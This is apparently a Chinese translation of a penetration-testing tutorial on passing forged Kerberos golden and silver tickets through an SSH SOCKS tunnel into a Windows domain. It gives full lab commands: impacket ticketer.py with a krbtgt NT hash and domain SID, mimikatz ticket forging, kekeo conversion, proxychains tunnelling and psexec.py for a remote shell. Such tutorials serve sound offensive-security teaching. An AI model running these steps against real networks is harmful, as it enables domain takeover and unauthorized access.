
前言
如果我們在滲透過程中能夠拿到用戶的 TGT,并能將其導(dǎo)入到內(nèi)存,那么就可以冒充該用戶獲得其訪問權(quán)限,這就是 Pass the ticket(PtT)。PtT 技術(shù)使用 Kerberos ticket 來代替明文密碼或 NTLM 散列。大多數(shù)的 PtT 都用的是 golden ticket 和 silver ticket。通常來說,通過PtT 技術(shù)獲得一臺主機的控制權(quán)限是非常容易的,但是通過 ssh隧道的 PtT 攻擊技術(shù)就較為復(fù)雜了。
曾經(jīng)遇到過這樣的情況:我們在沒有特權(quán) ssh 訪問到dmz區(qū)中的一臺帶有內(nèi)網(wǎng)連接的linux主機的條件下卻意外地獲得了目標(biāo)的 krbtgt 和機器賬戶的 NTLM 散列值。這個網(wǎng)絡(luò)拓?fù)浯蟾攀沁@樣的:

當(dāng)我們試圖在網(wǎng)絡(luò)分段的部分對一些敏感的主機進行域內(nèi)劃分的時候,可能就會遇到這種類似的情況,這篇文章我們將著重介紹如何通過 SSH隧道 pass golden ticket 和 silver ticket。作為本文的一個示例,我們將嘗試通過位于10.0.10.81的Linux主機來對Windows主機win-rmjbtdb7qtf進行攻擊。
Golden Tickets
Golen Tickets(偽造的TGT tickets)提供了攻擊者一些用以長久化訪問域控、在網(wǎng)絡(luò)中進行跨域訪問,以及作為不存在的用戶去訪問網(wǎng)絡(luò)資源的方法。想了解Golden Tickets的詳細(xì)信息的話,可以去看看這個: Kerberos Golden 。攻擊者只需要一臺安裝了 impacket 和proxychains工具的linux的主機,并且這臺主機不需要加入域環(huán)境中。
偽造 ticket
要創(chuàng)建一個golden ticket,通常我們需要從目標(biāo)域獲取到以下信息:
- krbtgt賬戶的nt哈希值
- 目標(biāo)域的sid
- 目標(biāo)域的fqdn(全稱域名)
- 模擬的賬戶
我們將使用impacket的一個樣例腳本 ticketer.py 來創(chuàng)建golden tickets的憑證緩存(ccache)文件。下面是為用戶mbroda創(chuàng)建ccache文件的語法示例:
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
為了使impacket的腳本使用ccache文件進行身份驗證,而不是提供明文密碼或NT哈希,我們需要將KRB5CCNAME變量設(shè)置為ccache文件的絕對路徑:
export KRB5CCNAME=/path/to/ccache/file
驗證變量是否設(shè)置正確我們使用下面的語句:
echo $KRB5CCNAME
現(xiàn)在,我們就可以使用-k參數(shù)讓支持Kerberos身份驗證的impacket腳本使用golden tickets,而不是去提供明文密碼或NT哈希來進行身份驗證。
名稱解析
為了確保Kerberos身份驗證過程成功,我們需要修改攻擊者機器/etc/hosts文件,以包含目標(biāo)域控制器的FQDN和目標(biāo)主機的NetBIOS名稱。下面就是個修改的例子:
127.0.0.1 localhost
192.168.26.129 amity.local
192.168.26.128 WIN-RMJBTDB7QTF
如果你還沒有域控主機的IP地址,那么你可以通過ssh會話連接的linux在目標(biāo)域上之執(zhí)行nslookup,例如:
nslookup -type=srv _ldap._tcp.AMITY.LOCAL
代理設(shè)置
我們將使用proxychains在ssh通道上來實現(xiàn)一個域內(nèi)的漫游,檢查配置文件的最后一行來驗證proxychains代理的端口,kali下配置文件默認(rèn)位置是/etc/proxychains.conf。
注意:如果您在執(zhí)行攻擊時遇到名稱解析的問題,您可能需要在proxychains配置文件中對proxydns設(shè)置進行注釋。
當(dāng)我們通過ssh會話連接到目標(biāo)的linux主機的時候,使用-D參數(shù)對應(yīng)著proxychains設(shè)置的端口。這將在我們本地主機的端口上創(chuàng)建一個可以利用proxychains實現(xiàn)域內(nèi)漫游的socks代理。例如:
ssh unpriv@10.0.10.81 -D 1337
為了驗證代理通道的創(chuàng)建是否成功,我們可以通過proxychains代理nmap的TCP掃描方式掃描目標(biāo)主機的445端口。
proxychains nmap -sT -Pn -p 445 192.168.26.128
時間同步
如果攻擊機的時間比目標(biāo)域控距離快大約5分鐘的話,golden tickets就無法正常的工作。
如果真如以上所述,我們可以使用net time來檢查目標(biāo)的時間(下面的第1行),并在攻擊者機器(第2行)上設(shè)置時間:
proxychains net time -S <IP-of-DC>
proxychains net time set -S <IP-of-DC>
發(fā)起攻擊
等一切都已準(zhǔn)備就緒,我們可以使用任何支持ccache身份驗證的工具來攻擊目標(biāo)主機。Impacket的psexec.py就是這樣一個工具,運行一下命令后將反彈回一個交互式的CMD:
proxychains ./psexec.py mbrody-da@WIN-RMJBTDB7QTF -k -no-pass
如果你在攻擊時遇到錯誤,檢查相關(guān)的配置,并且使用psexec.py的 -debug參數(shù)進行錯誤排除。
Silver Tickets
Silver Tickets(偽造的TGS Tickets)將用戶認(rèn)證為一個在主機上運行的服務(wù),并為攻擊者提供隱秘和持久的選項,這些是golden tickets所沒有的。更多有關(guān)信息可以點擊: 文章
。
這次攻擊需要一個Linux主機,安裝有 Impacket 和proxychains,并且還有一臺安裝了 Mimikatz 和 kekeo 的Windows主機。兩個主機都不需要成為域成員。
偽造 ticket
要生成一個silver ticket,我們需要以下信息:
- 目標(biāo)主機賬戶NTLM散列值
- 目標(biāo)主機的fqdn
- 目標(biāo)服務(wù)
- 目標(biāo)域的sid
- 目標(biāo)域的fqdn
- 模擬的賬戶
在本例中,我們將通過SMB協(xié)議對目標(biāo)主機進行身份驗證,因此我們將使用CIFS服務(wù),有人列出了一份普通的 spn清單 ,這個可以在silver ticket中使用。
在這個時候我們就不能用ticketer.py來生成我們的silver ticket。我們在準(zhǔn)備好的windows主機上使用mimikatz來生成silver ticket的kirbi文件,接下來使用kekeo來將我們的silver ticket轉(zhuǎn)化為ccache文件。
使用Mimikatz的 Kerberos模塊
用如下命令生成silver ticket:
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
下面是為用戶mbroda和CIFS服務(wù)創(chuàng)建ticket的示例:
kerberos::golden /user:mbrody-da /domain:amity.local /sid:S-1-5-21-2972629792-1506071460-1188933728 /target:WIN-RMJBTDB7QTF.amity.local /rc4:9f5dc9080322414141c92ff51efb952d /service:cifs
退出mimikatz,并啟動kekeo,使用以下語法將kirbi文件轉(zhuǎn)換為ccache文件:
misc::convert ccaches /path/to/ticket1.kirbi /path/to/ticket2.kirbi ...
拷貝這個ccache文件到攻擊的Linux主機。確保在Linux主機上記錄這個文件的絕對路徑;我們將使用這個路徑去設(shè)置我們的KRB5CCNAME變量。接下來的工作就全是我們的linux主機完成的了。
攻擊過程
剩下的silver ticket攻擊設(shè)置基本類似于“golden ticket”,但有兩個例外。
首先,我們需要在/etc/hosts文件中提供目標(biāo)主機的FQDN,而不是之前的NetBIOS名。對于我們的示例,/etc/hosts文件應(yīng)該是這樣的:
127.0.0.1 localhost
192.168.26.129 amity.local
192.168.26.128 WIN-RMJBTDB7QTF.amity.local
第二個區(qū)別是我們需要將我們的攻擊機的時間與目標(biāo)主機同步,silver ticket不需要與我們的目標(biāo)域控進行通信。
遵循上面的步驟,設(shè)置KRB5CCNAME變量,檢查proxychains配置,建立SSH隧道做socks代理,并使用nmap驗證代理可用。我們現(xiàn)在可以通過目標(biāo)主機的fqdn使用psexec.py腳本進行攻擊了。
proxychains python psexec.py mbrody-da@WIN-RMJBTDB7QTF.amity.local -k -no-pass
小結(jié)
Golden ticket和silver ticket技術(shù)為攻擊者提供了持續(xù)和隱秘的技術(shù),但是都需要向目標(biāo)主機轉(zhuǎn)發(fā)連接來實現(xiàn)這一目的。當(dāng)攻擊者在域滲透時可能發(fā)現(xiàn)自己有了一些ssh權(quán)限,但是卻只能通過Linux主機間接到達目標(biāo)主機,在這些場景中,可以通過proxychains掛代理通過SSH隧道執(zhí)行PtT攻擊。這篇文章介紹了使用psexec.py在目標(biāo)主機上發(fā)起攻擊的情況,其實其他任何支持-k參數(shù)的任何有效腳本都可以進行攻擊。
參考: https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/
|